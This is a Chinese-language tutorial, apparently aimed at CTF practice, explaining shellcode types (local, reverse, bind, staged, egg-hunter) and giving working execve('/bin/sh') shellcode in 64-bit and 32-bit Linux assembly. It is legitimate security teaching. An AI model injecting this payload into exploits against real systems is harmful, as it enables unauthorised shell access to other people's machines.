漏洞利用开发–shellcode开发

shellcode 的基本原理

shellcode 通常使用机器语言编写,是一段用于利用软件漏洞而执行的代码。

shellcode根据它是让攻击者控制它所运行的机器,还是用过网络控制另一台机器,可以分为本地和远程两种类型。本地shellcode常用于提权,攻击者利用高权限程序中的漏洞(例如缓存区溢出),获得与目标进程相同的权限。远程shellcode则用于攻击网络上的另一台机器,通过TCP/IP套接字为攻击者提供shell访问。根据连接的方式不同,可以分为反向shell(由shellcode建立与攻击者机器的连接),绑定shell(shellcode绑定到端口,由攻击者发起连接)和套接字重用shell(重用exploit所建立的连接,从而绕过防火墙)。

有时候,攻击者注入目标进程中的字节数是被限制的,因此可以将shellcode分阶段执行,有前一段比较简短的shellcode将一阶段复杂的shellcode(或者可执行文件)下载并执行,这是恶意程序常见的一种操作。但有时候攻击者并不能确切的知道后一阶段的shellcode被加载到内存的哪个位置,因此就出现了egg-hunt-shellcode,这段代码会在内存里进行搜索,直到找到后一阶段的shllcode(所谓的egg)并执行。

简单shellcode的编写

当我们做题的时候,用的pwntools自动生成的shellcode有时候并不能满足我们的要求,大多数shellcode都是专用的,与特定的处理器,操作系统,目标程序以及要实现的功能紧密相关,几乎没有一套全平台通用的shellcode,正因如此,培养自己编写shellcode的能力至关重要。

1
execve("/bin/sh",0,0);

上面的函数就是简单的shellcode,但是当我们编译的时候,程序会将他编译为动态链接的方式,于是我们有另一办法来实现这段shellcode

  • 利用系统调用来实现shellcode

64位汇编代码如下:

1
2
3
4
5
6
7
movabs rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

32位汇编如下:

1
2
3
4
5
6
7
8
xor eax,eax   ;eax=0    
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用

上述的shellcode中的寄存器是不能更改的,因为32位的系统调用时,是将调用号传递给eax,传参顺序是ebx,ecx,edx,esi,edi。64位的系统调用时,是将调用号传递给rax,处于用户态时,参数传递顺序为:rdi,rsi,rdx,rcx,r8,r9,处于内核态时,参数传递顺序:rdi,rsi,rdx,r10,r8,r9